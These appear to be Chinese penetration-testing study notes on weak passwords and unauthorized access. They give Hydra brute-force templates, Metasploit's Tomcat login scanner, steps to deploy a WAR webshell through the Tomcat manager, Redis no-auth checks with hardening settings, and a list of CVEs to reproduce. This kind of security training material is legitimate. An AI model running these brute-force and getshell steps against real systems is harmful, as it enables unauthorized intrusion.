弱口令与未授权访问

1.1 基本用法#

Hydra 是一款支持多种协议的爆破工具。

1
hydra -L 用户名字典 -P 密码字典 -t 线程数 服务://目标IP:端口

1.2 常见服务爆破命令#

⚠️ RDP 爆破存在误报情况，需注意验证。

2.1 场景#

Tomcat 管理后台（/manager/html）存在弱口令，登录后可通过部署 WAR 包获取服务器权限。

2.2 MSF 爆破模块#

1
msf6 > search tomcat
2
# 使用弱口令爆破模块
3
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
4

5
# 查看配置
6
msf6 > show options
7

8
# 设置参数
9
msf6 > set RHOSTS 目标IP
10
msf6 > set RPORT 目标端口
11
msf6 > run

2.3 上传 WAR 包 Getshell#

Step 1：制作 WAR 包

1
# 创建 Webshell 文件（如 goodman.jsp）
2
echo '<% out.println("Hello"); %>' > goodman.jsp
3

4
# 打包为 WAR 文件
5
jar cvf shell.war goodman.jsp

Step 2：登录 Tomcat 后台

1
http://目标IP:端口/manager/html

Step 3：部署 WAR 包

• 找到 “WAR file to deploy” 部分
• 选择 shell.war 文件
• 点击 Deploy

Step 4：访问 Webshell

1
http://目标IP:端口/shell/goodman.jsp

💡 蚁剑连接：http://xxx:xxx/shell/goodman.jsp，密码 passwd

3.1 什么是未授权访问？#

系统或服务未配置认证机制或认证绕过，攻击者无需凭证即可访问敏感资源。

3.2 常见端口与服务对照#

4.1 2017 年左右大量发现的漏洞（重点）#

4.2 近年漏洞（2022-2024）#

5.1 检测#

1
# 连接 Redis
2
redis-cli -h 目标IP -p 6379
3

4
# 如果不需要认证，则存在未授权访问
5
192.168.x.x:6379> INFO

5.2 利用方式#

5.3 防御#

1
# 设置密码
2
requirepass 强密码
3

4
# 绑定 IP
5
bind 127.0.0.1

6.1 端口扫描#

1
1. 使用 Nmap 扫描目标端口
2
2. 识别开放端口对应的服务
3
3. 尝试使用默认账号密码或空密码登录
4
4. 查找是否存在历史未授权漏洞

6.2 搜索技巧#

在 搜狗微信搜索（https://weixin.sogou.com/）搜索：

1
"存在未授权访问漏洞" 组件名
2
"未授权访问" 漏洞复现

Hydra 爆破模板#

1
hydra -L 用户字典 -P 密码字典 -t 线程数 服务://IP:端口

常见弱口令#

未授权漏洞检测流程#

1
1. 端口扫描 → 发现开放端口
2
2. 识别服务 → 根据端口判断服务类型
3
3. 尝试连接 → 使用对应客户端连接（Redis-cli、MongoDB Shell 等）
4
4. 确认漏洞 → 无需认证可操作
5
5. 利用 → 写入 Webshell/SSH 公钥/反弹 Shell

需重点复现的漏洞#

• Redis 未授权访问
• Jenkins 未授权访问 (CVE-2024-23897)
• WebLogic 未授权访问 (CVE-2023-21839)
• JumpServer 未授权访问 (CVE-2023-42442)
• Joomla 未授权访问 (CVE-2023-23752)